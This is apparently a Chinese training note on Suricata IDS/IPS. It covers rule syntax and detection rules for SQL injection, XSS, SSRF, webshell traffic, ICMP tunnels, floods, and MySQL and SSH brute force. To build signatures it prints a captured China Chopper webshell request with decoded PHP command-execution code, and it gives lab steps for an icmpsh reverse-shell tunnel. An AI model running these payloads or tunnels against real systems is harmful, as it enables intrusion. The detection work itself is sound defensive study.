声明
好好学习,天天向上
好好跟着蜗牛学苑的邓强老师学习技术原理
官网
前身是Snort,已开源
https://suricata.io/
https://suricata.readthedocs.io/en/latest/quickstart.html
中文文档
https://www.osgeo.cn/suricata/
安装
windows下也可以安装,这里先用linux的
基础
yum -y install gcc libpcap-devel pcre-devel libyaml-devel file-devel zlib-devel jansson-devel nss-devel libcap-ng-devel libnet-devel tar make libnetfilter_queue-devel lua-devel PyYAML libmaxminddb-devel rustc cargo lz4-devel
配置源
yum install epel-release yum-plugin-copr
yum copr enable @oisf/suricata-6.0
安装
yum install suricata
systemctl status suricata
systemctl start suricata
systemctl status suricata
或者官网有离线的包
安装完后,启动
systemctl status wazuh-manager
介绍
主程序目录
/usr/sbin/suricata
核心配置(suricata.yaml)
/etc/suricata
日志
/var/log/suricata
eve.json:json格式的预警信息(类似wazuh的alert.json)
fast.log:预警核心文件,只用于非结构化存储预警信息(类似wazuh的alert.log)
stats.log:Suricata的统计信息
suricata.log:程序运行日志
suricata -v
suricata -h
初步感知
为了便于调试,先不用后台启动,使用控制台启动
-c指定配置,-s执行规则,-i指定网卡
suricata -c /etc/suricata/suricata.yaml -s signatures.rules -i ens33
suricata -c /etc/suricata/suricata.yaml -i ens33
rules下是默认的规则
改suricata的配置文件/etc/suricata/suricata.yaml
可以看到这里定义了很多变量我们都可以用
改这两个变量
这里可以看到加载规则,默认是没有suricata.rules的,所以第一次运行会报错
我们在rules文件夹下创建/etc/suricata/rules/suricata.rules,如果没有这个启动suricata的时候会报错
# alert代表触发了就预警,还有drop、reject、pass
# http为协议,suricata支持tcp,udp,http等常见协议
# any(源IP) any(源端口) ->代表源请求目的 <>请求+响应() $HOME_NET(目标IP) any(目标端口)
# 圆括号里面代表规则匹配,msg为预警信息详细描述
# content表示过滤条件,变量http_stat_code为404
# sid是自定义规则id
# rev规定的修订版本,默认为0
alert http any any <> $HOME_NET any (msg: "Web服务器出现404状态码"; content: "404"; http_stat_code; sid: 561001; )
启动web服务
启动suricata
cd /etc/suricata
suricata -c suricata.yaml -i ens33
查看预警日志
tail -f fast.log
访问一个404的
看到了suricata的预警
suricata命令
suricata
-c:指定配置文件
-i:指定网卡
-T:测试配置文件
-v:设置日志级别
-D:后台启动
-l:临时设置日志输出目录(/etc/suricata/suricata.yaml中的default-log-dir)
-s:临时添加新规则(/etc/suricata/suricata.yaml中的default-rule-path和rule-files)
离线分析
wireshark抓取导出一个.pcap后缀包,由于现在suricata只写了一条404规则,我就抓取虚拟机的网卡,访问一个404导出
suricata -c /etc/suricata/suricata.yaml -r ./xampp.pcap -l /tmp/
离线分析,可以很快捷的对规则进行测试
也可以将suricata的监控过程保存在pcap中,使用wireshark打开进行解析
定级
打开/etc/suricata/classification.config
# HTTP Protocol
config classification: http-status-404, Web服务器出现404, 4
config classification: web-url-scan, 疑似出现url爬虫扫描,2
修改规则/etc/suricata/rules/suricata.rules
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器出现404状态码"; content: "404"; http_stat_code; sid: 561002; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器出现404状态码"; content: "404"; http_stat_code; classtype: http-status-404; sid: 561003; )
重启suricata,访问404,出现了定级为4级的
字段解析匹配
payload关键字
https://suricata.readthedocs.io/en/latest/rules/payload-keywords.html
content
所有的大小写、特殊字符,针对一些特殊符号或者中文需要使用十六进制,写法 |3A|表示冒号("的ASCII码")。|0D|为\r,|0A|为\n,
默认情况下,content为非正则的包含运算(模糊匹配)
也可以用字段进行匹配,比如http_stat_code,http_url等
也可以使用startwith、endwith进行精确匹配
nocase
不区分大小写,通常放在content后面\
dsize
数据包有效载荷的大小(大于、小于、等于)
dsize: 100,表示大于等于100
dsize: <100、dsize: 100<>200
pcre
正则,使用//包裹表达式,最后的位置可以设置选项(例如i不区分大小写等等)
通常,pcre不能直接单独存在,必须依赖content,使用了content模糊匹配,再用pcre精准匹配
depth
深度
例如,depth: 3,取3个
转码关键字
to_md5
对字段内容md5转码后再和content匹配
base64_code
对字段内容base64解码后再和content匹配
Flow关键字
有点类似上下文的感觉,第一条匹配上了,加个字段,第二条根据上下文动态添加的这个字段再进行匹配
flow
流向
to_server客户端向服务器
to_client服务器向客户端
flowint
统计数量,同一个特征累计多少条就告警
禁用之前的规则后,编写规则,使用flowint
第一条,匹配404,如果urlcount没有设置,设置为为1,不告警
第二条,如果设置了,+1,不告警
第三条,如果大于等于5了,告警
#404到达阈值后预警-1
# flowint:urlcount定义变量urlcount,当404出现第一次urlcount为1,往后自增1,超过5把第三条告警出来,前两条不进行告警
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器出现404状态码"; content: "404"; http_stat_code; flowint:urlcount, notset; flowint:urlcount, =, 1; noalert; sid: 561004; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器出现404状态码"; content: "404"; http_stat_code; flowint:urlcount, isset; flowint:urlcount, +, 1; noalert; sid: 561005; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器频繁404状态码"; content: "404"; http_stat_code; flowint:urlcount, >=, 5; priority: 2; sid: 561006; rev: 2; )
阈值关键字
threshold
阈值,默认建议用threshold,如果设置为limit,则会限制警告的数量
track
by_src跟踪源(优先考虑)
by_dst
by_rule
by_both
时间和次数
count <N>, seconds <T>,T秒内出现N次
禁用之前的规则后,编写规则,使用threshold
当匹配到了404的时候,同一个ip,20秒内触发了5次,就告警出来
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器频繁404状态码"; content: "404"; http_stat_code; threshold: type threshold, track by_src, count 5, seconds 20; classtype: web-url-scan; sid: 561007; rev: 3; )
HTTP攻击
定级
编辑/etc/suricata/classification.config,对常见HTTP攻击进行定级
# 用户自定义
config classification: http-status-error, Web服务器状态异常, 4
config classification: web-scan-attack, Web页面扫描攻击, 2
config classification: web-sql-injection, SQL注入攻击, 1
config classification: web-xss-attack, XSS攻击, 2
config classification: web-ssrf-attack, SSRF请求伪造攻击, 2
config classification: web-shell-attack, 站点木马植入, 1
config classification: web-file-upload, 文件上传异常, 2
config classification: web-other-alert, 服务器潜在风险, 2
状态码检测
编写规则/etc/suricata/rules/suricata.rules
加入400、404和500的异常,频繁出现404的,就满足我们的分级web-scan-attack
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器400"; content: "400"; http_stat_code; classtype: http-status-error; sid: 600001; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器404"; content: "404"; http_stat_code; classtype: http-status-error; sid: 600002; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器500"; content: "500"; http_stat_code; classtype: http-status-error; sid: 600003; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "频繁404,疑似扫描"; content: "404"; http_stat_code; threshold: type threshold, track by_src, count 5, seconds 10; classtype: web-scan-attack; sid: 601001; rev: 1; )
SQL注入
编写规则/etc/suricata/rules/suricata.rules
对uri进行匹配,黑名单有select、单引号、–、
611003先匹配到了–,然后在匹配一次或多次的+或者空格
611004抓取POST请求,标准POST请求的特征有content_type字段,并且为x-www-form-urlencoded
611005将多个正则写在一起,虽然一条就解决,但是效率会比一条条分开写低,而且不知道触发了哪个具体规则。http.request_body只会匹配请求的正文,http.response_body只会匹配响应的正文
#SQL注入攻击-URI关键字
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SQL注入攻击-select"; content: "select"; http_uri; classtype: web-sql-injection; sid: 611000; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SQL注入攻击-单引号"; content: "|27|"; http_uri; classtype: web-sql-injection; sid: 611001; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SQL注入攻击-双引号"; content: "|22|"; http_uri; classtype: web-sql-injection; sid: 611002; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SQL注入攻击-SQL注释"; content: "--"; http_uri; pcre: "/\+*|\s*/i"; classtype: web-sql-injection; sid: 611003; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SQL注入攻击POST-SQL注释"; content: "="; http.request_body; pcre: "/\+*|\s*/i"; http.content_type; content: "x-www-form-urlencoded"; classtype: web-sql-injection; sid: 611004; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SQL注入攻击-select|union|from"; content: "/"; http_uri; pcre: "/select|union|from|%20and%20/i"; classtype: web-sql-injection; sid: 611005; rev: 1; )
XSS
URL里面包含下面规则content中的都会触发
#XSS攻击
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "XSS-<script"; content: "<script"; http_uri; nocase; classtype: web-xss-attack; sid: 620001; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "XSS-</script"; content: "</script"; http_uri; nocase; classtype: web-xss-attack; sid: 620002; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "XSS-javascript"; content: "javascript"; http_uri; nocase; classtype: web-xss-attack; sid: 620003; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "XSS-alert"; content: "alert"; http_uri; nocase; classtype: web-xss-attack; sid: 620004; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "XSS-onload="; content: "onload="; http_uri; nocase; classtype: web-xss-attack; sid: 620005; rev: 1; )
SSRF
URL里面包含下面规则content中的都会触发
#SSRF攻击
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SSRF-file:"; content: "file|3A|"; http_uri; nocase; classtype: web-ssrf-attack; sid: 630001; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SSRF-http:"; content: "http|3A|"; http_uri; nocase; classtype: web-ssrf-attack; sid: 630002; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SSRF-https:"; content: "https|3A|"; http_uri; nocase; classtype: web-ssrf-attack; sid: 630003; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SSRF-dict:"; content: "dict|3A|"; http_uri; nocase; classtype: web-ssrf-attack; sid: 630004; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SSRF-gopher:"; content: "gopher|3A|"; http_uri; nocase; classtype: web-ssrf-attack; sid: 630005; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SSRF-phar:"; content: "phar|3A|"; http_uri; nocase; classtype: web-ssrf-attack; sid: 630006; rev: 1; )
登录爆破
20秒内一直在访问登录页面
#登录爆破
alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg: "Web登录爆破"; content: "login.php"; http_uri; threshold: type threshold, track by_src, count 3, seconds 20; sid: 111111; )
alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg: "Web登录爆破"; content: "login.html"; http_uri; threshold: type threshold, track by_src, count 3, seconds 20; sid: 111112; )
上传文件
特征:
1、上传本身就是POST
2、content_type字段为multipart/form-data; boundary
3、正文存在Content-Disposition
#文件上传
alert http $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "文件正常上传"; filestore; classtype: web-file-upload; sid: 614000; rev: 1; )
alert http $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "文件正常上传"; http.method; content: "POST"; http.content_type; content: "multipart/form-data"; http.request_body; content: "Content-Disposition"; filestore; classtype: web-file-upload; sid: 614001; rev: 1; )
alert http $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "PHP木马上传"; content: "<?"; http.content_type; content: "multipart/form-data"; http.request_body; pcre: "/eval|assert|system\(exec|$_POST|$_GET\)/i"; filestore; classtype: web-file-upload; sid: 614002; rev: 1; )
#drop http $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "木马上传"; content: "<?"; http.content_type; content: "multipart/form-data"; http.request_body; pcre: "/eval|assert|system\(exec|$_POST|$_GET\)/i"; filestore; classtype: web-file-upload; sid: 614003; rev: 1; )
记得定义VAUDIT_PORTS变量
规则中关键字filestore是为了保存用户上传的文件,保存的配置在/etc/suricata/suricata.yaml的file-store节点,改为yes
文件会保存在/var/log/suricata/filestore
会把文件的SHA256前两位作为文件名
在eve.json中查找规则sid,根据sid可以查看到文件SHA256后的名称
tail -f eve.json | grep 614002
tail -f eve.json | grep 614002
菜刀流量分析
启动菜刀连接提前准备好的webshell
抓个菜刀的包
虚拟终端输入ifconfig抓包
对比看到响应内容里面有X@Y
请求里面有一个a参数,内容为base64编码的一段
a=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JG09Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKTskcD0nL2Jpbi9zaCc7JHM9J2NkIC9vcHQvbGFtcHAvaHRkb2NzL3ZhdWRpdC87aWZjb25maWc7ZWNobyBbU107cHdkO2VjaG8gW0VdJzskZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7JHI9InskcH0geyRjfSI7JGFycmF5PWFycmF5KGFycmF5KCJwaXBlIiwiciIpLGFycmF5KCJwaXBlIiwidyIpLGFycmF5KCJwaXBlIiwidyIpKTskZnA9cHJvY19vcGVuKCRyLiIgMj4mMSIsJGFycmF5LCRwaXBlcyk7JHJldD1zdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7cHJvY19jbG9zZSgkZnApO3ByaW50ICRyZXQ7O2VjaG8oIlhAWSIpO2RpZSgpOw
base解码后为,这里面当然也包含我们要执行的ifconfig命令请求头里也看到了X@Y
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$m=get_magic_quotes_gpc();$p='/bin/sh';$s='cd /opt/lampp/htdocs/vaudit/;ifconfig;echo [S];pwd;echo [E]';$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($r." 2>&1",$array,$pipes);$ret=stream_get_contents($pipes[1]);proc_close($fp);print $ret;;echo("X@Y");die();
综上所述,菜刀流量特征
1、响应体,存在X@Y,并且以X@Y开始,以X@Y结束
X、@、Y的ASCII码分别为88、64、89,转成16进制为58、40、59
2、请求体,包含array_map,按照1方式进行转化为16进制的|61 72 72 61 79 5f 6d 61 70|,并且请求还包含array(“ev”."Al这个用正则可以匹配
3、试了很多次,请求体中的base64前面部分"QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZih"总是不会改变
#菜刀
alert http $EXTERNAL_NET any <> $HOME_NET $VAUDIT_PORTS (msg: "菜刀连接-响应"; http.response_body; content: "|58 40 59|"; startswith; content: "|58 40 59|"; endswith; sid: 614011; rev: 1; )
alert http $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "菜刀连接-请求"; content: "|61 72 72 61 79 5f 6d 61 70|"; http_client_body; pcre: "/array.+ev.+Al/i"; sid: 614012; rev: 1; )
alert http $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "菜刀连接-base64"; content: "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZih"; http_client_body; sid: 614013; rev: 1; )
冰蝎流量分析
准备冰蝎Beta v3.0连接
抓包,都是加密的
冰蝎默认的user-agent这个好像有点特征
但是冰蝎这里是可以改的,稍微懂点的,肯定会改一个很正常的user-agent,所以这个只能算一个弱特征,前提是遇见比较懒的攻击者
仔细观察发现,还有一个弱特征,就是请求头“有点长”
响应好像也不短
如果都是加密的,好像也不存在key=value这种特征,正常的POST请求一般应该都会跟上参数吧,而这种只有一串密文,其他啥都没
看了下冰蝎源码,是对整个POST请求体进行base64解码执行的命令,那么请求的时候就应该是对整个POST请求体进行base64编码后传输的
将整个POST请求体复制到base64解码,虽然解开是乱码密文,但是确实是可以解开的
综上所述,冰蝎特征为:
1、http.user_agent为Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
2、长度巨长
3、不存在key=value的格式,转成规则也就是前100位不存在等号=
4、POST请求体和响应体的正文都为base64编码,注意base64只有末尾补长度的时候才用=,所以不会影响到3,正则为^[大小写字母|数字|+|/]{1000,}=*$,至少有1000个大小写字母数字+/,并且以0个或多个=结尾
#冰蝎
alert http $EXTERNAL_NET any <> $HOME_NET $VAUDIT_PORTS (msg: "冰蝎连接-user_agent"; content: "Baiduspider"; http_user_agent; sid: 614020; rev: 1; )
alert tcp $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "疑似冰蝎流量-长度"; dsize: >1000; sid: 614021; rev: 1; )
alert http $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "冰蝎连接-POST前100无等于号"; http.request_body; content: !"="; depth: 100; sid: 614022; rev: 1; )
alert http $EXTERNAL_NET any -> $HOME_NET $VAUDIT_PORTS (msg: "冰蝎连接-POST请求正文为base64"; http.request_body; pcre: "/^[A-Za-z0-9\+\/]{1000,}=*$/"; sid: 614023; rev: 1; )
alert http $EXTERNAL_NET any <> $HOME_NET $VAUDIT_PORTS (msg: "冰蝎连接-POST响应正文为base64"; http.response_body; pcre: "/^[A-Za-z0-9\+\/]{1000,}=*$/"; sid: 614024; rev: 1; )
ICMP流量分析
ICMP隧道的好处:一般防御的时候,基本都是封禁端口,或者开放端口白名单,ICMP是一个很容易忽略的协议,ICMP很少会进行封禁,因为经常用语判断网络是否联通,所以如果其他的隧道无法使用,就可以考虑考虑ICMP的隧道
正常的ping流量
windows下请求
Type为8,Code为0,Data是32字节的,是字母a开始往后
windows下响应
Type为0,Code为0
Data和请求的Data一模一样
Linux下请求
Linux下响应
linux和windows下基本差不多,除了Data变成了48字节
所以使用ping测试网络联通的话,正常请求和响应的Data是一样的,而且长度、发包的频率都很小,icmp泛洪或者icmp隧道不符合正常icmp的特征
icmp泛洪
增加长度后,Data就变了
ping 192.168.174.5 -l 1000
如果再linux下加了-f,频率就更快了,这不符合正常icmp的使用
ping 192.168.174.5 -l 1000 -f
基于此我们加入规则
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg: "ICMP 5s10次,每次超过48,疑似ICMP泛洪"; dsize: >48; threshold: type threshold, track by_src, count 10, seconds 5; sid: 620000; rev: 1; )
再次暴力ping,触发
icmp隧道
icmpsh下载
git clone https://github.com/inquisb/icmpsh.git
kali配置,执行监听
icmpsh目前只支持python2,kali自带的python版本为python3,所以kali需要安装python2后才能运行icmpsh,安装python2后,安装icmpsh依赖包
pip2 install impacket
关闭本机的icmp应答,防止内核对自己的ping包响应
sysctl -w net.ipv4.icmp_echo_ignore_all=1
第一个IP是本机的IP,也就是kali的IP,第二个IP是远程受控端的Ip
python2 icmpsh_m.py 192.168.174.129 192.168.174.11
再找一台windows,icmpsh的受控端只能是windows,执行,IP为kali的的使用IP
icmpsh.exe -t 192.168.174.129
如果kali反弹的shell是乱码,可以执行这个解决
chcp 65001
观察包
长度都是不一样的,有42的,有60的,还有我们执行whoami的106的
再发个ipconfig,发现,这个隧道正常只会请求长度为60,响应长度为40,我们只要执行了命令,命令的结果就会以106字节为一个包,分了几个发几个
根据此特征,只要长度为106,就疑似是ICMP隧道建立
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg: "疑似建立ICMP隧道"; dsize: 106; sid: 620001; rev: 1; )
实验结束,将参数回退
sysctl -w net.ipv4.icmp_echo_ignore_all=0
TCP流量分析
使用hping3
【注意:suricata的规则阈值设置需要注意,很多tcp泛洪都是可以伪造源IP,suricata的阈值检测是检测同一个IP】
TCP泛洪
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg: "TCP泛洪"; flow: established, to_server; threshold: type threshold, track by_src, count 5, seconds 10; sid: 621000; rev: 1; )
SYN泛洪
alert tcp $EXTERNAL_NET 10000 -> $HOME_NET 0:1023 (msg: "SYN泛洪"; flags:S; flow: to_server; dsize:>100; threshold: type both, count 5, seconds 10, track by_src; sid: 621001; rev: 1; )
mysql
mysql的包也简单,基于tcp,明文传输
登录失败的特征也很明显
加一个MYSQL_PORTS变量,值为3306,由于suricata不支持mysql协议,我们就用tcp,反正mysql也是基于tcp的
630000,匹配登录失败的关键字Access denied for user
630001,在630000的基础上加上了10秒内触发3次
630002,把匹配条件写成16进制的,这个16进制的内容在wireshark也能看到
630005,先匹配内容有into outfile,再精确匹配,有写马的特征
#MYSQL
alert tcp $EXTERNAL_NET any <> $HOME_NET $MYSQL_PORTS (msg: "MYSQL登录失败-直接匹配"; content: "Access denied for user"; nocase; sid: 630000; rev: 1; )
alert tcp $EXTERNAL_NET any <> $HOME_NET $MYSQL_PORTS (msg: "MYSQL登录失败-直接匹配-10s失败3次"; content: "Access denied for user"; nocase; threshold: type threshold, track by_src, count 3, seconds 10; sid: 630001; rev: 1; )
alert tcp $EXTERNAL_NET any <> $HOME_NET $MYSQL_PORTS (msg: "MYSQL登录失败-16进制匹配"; content: "|41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72|"; nocase; sid: 630002; rev: 1; )
alert tcp $EXTERNAL_NET any <> $HOME_NET $MYSQL_PORTS (msg: "MYSQL登录失败-直接匹配-10s失败3次"; content: "|41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72|"; nocase; threshold: type threshold, track by_src, count 3, seconds 10; sid: 630003; rev: 1; )
drop tcp $EXTERNAL_NET any <> $HOME_NET $MYSQL_PORTS (msg: "MYSQL登录失败-直接匹配-10s失败5次"; content: "|41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72|"; nocase; threshold: type threshold, track by_src, count 3, seconds 10; sid: 630004; rev: 1; )
#MYSQL写入木马
alert tcp $EXTERNAL_NET any -> $HOME_NET $MYSQL_PORTS (msg: "MYSQL写入木马"; content: "into outfile"; nocase; pcre: "/system|eval|assert|$_GET|$_POST/i"; sid: 630005; rev: 1; )
登录失败测试
mysql -uroot -h 192.168.174.5 -p
SSH
ssh协议特征,众所周知,ssh是基于Diffie-Hellman进行的秘钥分发,所以我们在ssh登录的时候可以看到密钥交换,创建秘钥的这种包
对比多次登录成功与失败的包发现,不管成功还是失败,New Keys这个包都会发,并且包含15 00 00 00 00 00 00 00 00 00 00这个关键字,那么如果经常出现这个,就认为是在爆破了
#SSH登录失败
alert ssh $EXTERNAL_NET any <> $HOME_NET $SSH_PORTS (msg: "SSH登录"; content: "|15 00 00 00 00 00 00 00 00 00 00|"; nocase; sid: 640000; rev: 1; )
alert ssh $EXTERNAL_NET any <> $HOME_NET $SSH_PORTS (msg: "SSH爆破"; content: "|15 00 00 00 00 00 00 00 00 00 00|"; nocase; threshold: type threshold, track by_src, count 3, seconds 10; sid: 640001; rev: 1; )
HTTPS流量抓取
wireshark
原理
加入一个环境变量,让chrome基于该环境变量,把和服务器进行ssl通信的秘钥写入到这个log里面,wireshark如果可以读取这个log,不就可以抓取https流量了
正常wireshark访问https的百度之类的,wireshark是抓不到任何包的
windows增加环境变量
SSLKEYLOGFILE
值可以自定义一个日志文件
E:\soft\https_key_log\https_key.log
打开chrome随便访问一个https的网站,让先把这个https_key.log生成
然后在wireshark导入该文件
fiddler
重启,可以看到HTTPS
或者也可以导出fiddler的证书,安装到浏览器里
桌面上生成了证书
把这个证书导入到浏览器就好了
本机IPS
suricata依赖iptables对流量进行拦截
iptables将流量委托给suricata,iptables不做接受/拒绝等操作
安装iptables,停掉firewalld
yum install iptables iptables-services
systemctl stop firewalld
systemctl start iptables
查看suricata是否支持NFQueue
suricata --build-info | grep NFQueue
启动suricata
cd /etc/suricata
suricata -c suricata.yaml -q 0
suricata服务器执行,将流量交给NFQUEUE也就是suricata,参数–queue-num为队列编号,不指定默认为0
一单加了下面这条,就相当于把流量都交给了队列也就是suricata,如果suricata不启动,那么所有连接都将断开!
iptables -I INPUT -j NFQUEUE --queue-num 0
这时候啥都别干,先加一下ssh,不加的话,一会suricata不小心中断了,就得去vmware里面调了
iptables -I INPUT -p tcp --dport 22 -j ACCEPT
iptables -I OUTPUT -p tcp --sport 22 -j ACCEPT
开启web服务,这时候web服务应该是不通的,因为web流量又没有给suricata,也没有让防火墙放行,我们先把web的80端口流量托管给suricata
iptables -I INPUT -p tcp --dport 80 -j NFQUEUE
iptables -I OUTPUT -p tcp --sport 80 -j NFQUEUE
用这两条规则进行调试
第一条是alert,第二条前面改成了drop
alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SQL注入攻击-select"; content: "select"; http_uri; classtype: web-sql-injection; sid: 611000; rev: 1; )
drop http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "SQL注入攻击-database()"; content: "database()"; http_uri; classtype: web-sql-injection; sid: 611006; rev: 1; )
url输入select,会产生告警
http://192.168.174.5/dashboard/?id=select
fiddler抓包还能看见一个304的错误
wireshark抓包,追踪tcp流也能看到304
试试第二条规则,访问后一直在转圈,还报了错
http://192.168.174.5/dashboard/?id=database()
fiddler抓到一个504的
追踪tcp流也是黑色的
说明就没给回应直接丢弃了
当然suricata也能看到这条告警
串行IPS
想想也知道,单击是基于iptables进行drop,如果是网关的话,就要借助iptables的nat,这样就能作为中间人对流量进行处理
我们把suricata的8889,即192.168.174.5:8889转发给
web服务器的80,即192.168.174.134:80
这样suricata检测自身的8889就可以了,suricata规则保持之前本机IPS的规则
192.168.174.134开启web服务
192.168.174.5加入转发规则
systemctl restart iptables
iptables -t filter -I FORWARD -j ACCEPT
iptables -t nat -A PREROUTING -d 192.168.174.5 -p tcp --dport 8889 -j DNAT --to-destination 192.168.174.134:80
iptables -t nat -A POSTROUTING -d 192.168.174.134 -p tcp --dport 80 -j SNAT --to 192.168.174.5
接着访问
192.168.174.5:8889
现在代理关系已经搞定,加了转发以后,流量目前直接经过了nat表,并不会走filter表
需要把转发的流量托管给NFQUEUE,也就是suricata就可以了
iptables -I FORWARD -j NFQUEUE
因为之前的规则端口为any,所以规则不用变,suricata预警日志依旧能发现8889的流量
database()的阻断
174.134也看不到任何的database()访问的日志
174.134开启开名单,http只对174.5开放
systemctl start firewalld
firewall-cmd --add-rich-rule='rule family="ipv4" source address="192.168.174.5" port protocol="tcp" port="80" accept'
suricata.rules完整规则
# alert代表触发了就预警
# http为协议,suricata支持tcp,udp,http等常见协议
# any(源IP) any(源端口) ->代表源请求目的 <>请求+响应() $HOME_NET(目标IP) any(目标端口)
# 圆括号里面代表规则匹配,msg为发送的消息
# content表示过滤条件,变量http_stat_code为404
# sid规则id,rev
#alert http any any <> $HOME_NET any (msg: "Web服务器出现404状态码"; content: "404"; http_stat_code; sid: 561001; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器出现404状态码"; content: "404"; http_stat_code; sid: 561002; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器出现404状态码"; content: "404"; http_stat_code; classtype: http-status-404; sid: 561003; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器出现404状态码"; content: "404"; http_stat_code; flowint:urlcount, notset; flowint:urlcount, =, 1; noalert; sid: 561004; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器出现404状态码"; content: "404"; http_stat_code; flowint:urlcount, isset; flowint:urlcount, +, 1; noalert; sid: 561005; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器频繁404状态码"; content: "404"; http_stat_code; flowint:urlcount, >=, 5; priority: 2; sid: 561006; rev: 2; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器频繁404状态码,规则:561007"; content: "404"; http_stat_code; threshold: type threshold, track by_src, count 5, seconds 20; classtype: web-url-scan; sid: 561007; rev: 3; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器400"; content: "400"; http_stat_code; classtype: http-status-error; sid: 600001; rev: 1; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器404"; content: "404"; http_stat_code; classtype: http-status-error; sid: 600002; rev: 1; )
#alert http $EXTERNAL_NET any <> $HOME_NET $HTTP_PORTS (msg: "Web服务器500"; content: "500"; http_stat_code; classtype: http-status-error; sid: 600003; rev: 1; )
#Web页面扫描攻击-状态码
